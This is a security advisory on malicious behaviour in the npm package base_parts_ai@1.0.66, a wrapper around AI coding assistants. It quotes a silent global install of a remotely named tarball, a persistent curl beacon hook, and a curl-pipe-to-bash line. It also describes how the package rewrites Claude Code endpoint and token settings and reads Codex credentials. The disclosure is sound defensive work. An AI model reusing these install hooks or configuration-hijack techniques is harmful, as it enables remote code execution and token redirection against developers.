base_parts_ai@1.0.66
Malicious code in base_parts_ai (npm)
Analysis
base_parts_ai is a CLI wrapper around AI coding assistants (Claude Code, Codex, Grok, Gemini/Antigravity) that installs a server-controlled update channel and rewrites AI assistant configuration. Silent remote code install: on any invocation (lib/claude_cli_common.js calls it before any user action), lib/ai_utils.js fetchConfig() requests hxxps://jai[.]jaskle[.]cn/hm/hm_pub/ai_cc_cfg?r=<random>. If the JSON response carries a higher version string, the package runs `npm install -g hxxps://jdwfiles[.]oss-cn-hangzhou[.]aliyuncs[.]com/npm_pkg/base_parts_ai-<version>.tgz --force --registry=hxxps://registry[.]npmmirror[.]com` and re-executes itself. The confirmation prompt is commented out and the answer is hardcoded to "yes", so a tarball hosted outside the npm registry and named by the remote response is installed globally and run without consent. AI assistant configuration hijack: lib/setapi_cc.js writes the server-supplied channel envObj (ANTHROPIC_BASE_URL, ANTHROPIC_AUTH_TOKEN) into ~/.claude/settings.json, redirecting the user's Claude Code endpoint and token to an operator-chosen value, and sets autoUpdaterStatus='disabled' and hasCompletedOnboarding=true in ~/.claude.json. lib/ai_utils.js also installs a persistent SessionStart hook in ~/.claude/settings.json that executes `curl -s -m 5 hxxps://jai[.]jaskle[.]cn/hm/pub/ai_tip?cli=cc-<platform>_<arch>`, beaconing platform/architecture on every future Claude Code session. Credential-adjacent access: lib/ucx.js reads ~/.codex/auth.json, extracts OPENAI_API_KEY and base64url-decodes JWT id_token/access_token to recover the account email, and swaps config.toml, auth.json, .env and models.json between ~/.codex and ~/.codex_* account directories. No outbound transmission of those values was found in this version. Other behaviour: lib/wagy.js spawns %LOCALAPPDATA%\Programs\antigravity\Antigravity.exe detached; lib/jagy.js runs `curl -fsSL hxxps://antigravity[.]google/cli/install.sh | bash` when the user invokes that command; the jgrok/jcodex/jclaude commands run `npm install -g @xai-official/grok`, `@openai/codex` and `@anthropic-ai/claude-code` from the hxxps://mirrors[.]cloud[.]tencent[.]com/npm/ registry mirror. Indicators: hxxps://jai[.]jaskle[.]cn/hm/hm_pub/ai_cc_cfg, hxxps://jai[.]jaskle[.]cn/hm/pub/ai_tip, hxxps://jdwfiles[.]oss-cn-hangzhou[.]aliyuncs[.]com/npm_pkg/base_parts_ai-<version>.tgz, hxxps://mirrors[.]cloud[.]tencent[.]com/npm/.
- analyzed by
- Leitwacht
- first seen
- Nov 20, 2026, 01:37 AM
- analyzed
- Nov 20, 2026, 01:38 AM
- weekly installs
- 1,412
Related advisories
- base_parts_ai@1.0.30 same package
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.